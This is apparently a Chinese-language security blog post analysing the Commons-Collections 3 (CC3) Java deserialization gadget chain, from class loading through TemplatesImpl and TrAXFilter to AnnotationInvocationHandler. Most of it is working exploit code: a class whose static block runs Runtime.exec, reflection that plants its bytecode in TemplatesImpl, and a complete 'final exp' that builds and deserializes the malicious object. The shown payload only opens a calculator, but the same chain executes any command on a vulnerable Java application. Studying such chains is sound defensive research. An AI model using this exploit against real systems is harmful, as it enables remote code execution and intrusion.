Commons-collections3 利用链分析笔记-阿里云开发者社区

类加载

把.java文件编译为.class文件，把字节码中的二进制数据读入到内存中，将其放在运行时数据区的方法区内，然后在堆区创建一个java.lang.Class对象，用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象，Class对象封装了类在方法区内的数据结构，并且向Java程序员提供了访问方法区内的数据结构的接口。

加载class的方式

1.从本地系统中直接加载

2.通过网络下载.class文件

3.从zip，jar等归档文件中加载.class文件

4.从专有数据库中提取.class文件

5.将Java源文件动态编译为.class文件（动态代理生成的及jsp转换为servlet）

类加载过程

类的加载的方式

由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载

CC3 是通过动态类加载的方式执行代码，执行的过程，初始化代码。

寻找入口点

在ClassLoader().loadClass();

loadClass 会调defineClass

类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码，需要寻找一个初始化的点，这里从defineClass寻找 public的可重写的方法

TemplatesImpl类

这个类在上篇Fastjson不出网利用总结有提到，本篇会大致分析下在cc中的利用方法

在TemplatesImpl发现了这个defineClass类，没有修饰符，默认在本包中调用，接着寻找

在getTransletInstance发现了defineTransletClasses，并进行了初始化 newInstance()

这里的还是使用private进行修饰，接着找public

最终在这里找到公有方法，这条链的流程大致如下

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

攻击调用

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

首先利用这个类，需要一些参数，点击newTransformer，486行有三个参数，参数默认为null，不写也可以执行

接着跟进getTransletInstance方法，判断name参数，为null就返回，这个参数需要写进去，判断class参数为null，则调用defineTransletClasses函数，上面分析了流程，所以这里的class参数不写，就可以进行调用defineTransletClasses

在接着跟进defineTransletClasses

bytecodes需要赋值，否则爆出异常

401行的方法里_tfactory需要调用一个get方法，查看变量，在readObject是一个new函数。

在414行会调用defineClass，方法中有个_bytecodes，查看变量是一个二维数组，前面的class是一个一维数组，在最早的defineClass方法中需要传递一个字节数组，在目前的流程就分析完成，接下来写代码进行测试

编写poc

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

shell.java

import java.io.IOException;
public class shell  {
    static {
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行报错，打断点调试

找到问题点了，当前位置已经加载shell类，然后判断这个shell类的父类要等于这个常量，跟进常量，是一个抽象类

修改shell类，继承AbstractTranslet，并重写两个方法

再次执行

使用cc1的前半部分利用链

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer  = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(1);

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer  = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null,null),
      };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//        chainedTransformer.transform(1);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
//serializable(o);
unserializable("ser.bin");

InstantiateTransformer类

ysoserial中使用了InstantiateTransformer进行调用，跟进这个构造方法，需要传递两个参数，数组和对象

再跟进newTransformer

发现TrAXFilter构造方法直接传递templates，并直接调用newTransformer

TrAXFilter没有继承反序列化接口，XMLFilterImpl也没有，但是获取class可以进行反序列化

那么最终的利用链如下

前半部分和cc1的一样，只不过是把InvokerTransformer替换为InstantiateTransformer

InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

最终exp

package com.test.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        // name参数
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        // bytecodes参数
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        // 两个数组 从文件读字节码
        byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        // 创建instantiateTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        // 调用TrAXFilter.class
        Transformer[] transformer  = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),instantiateTransformer
        };
        // 动态代理
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        //遍历map
        HashMap<Object,Object> hashedMap = new HashMap();
        hashedMap.put("value","aaa");
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
        // 反射引用AnnotationInvocationHandler
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, map);
        //序列化
//        serializable(o);
        unserializable("ser.bin");
    }
    public static void serializable(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public static  Object unserializable(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

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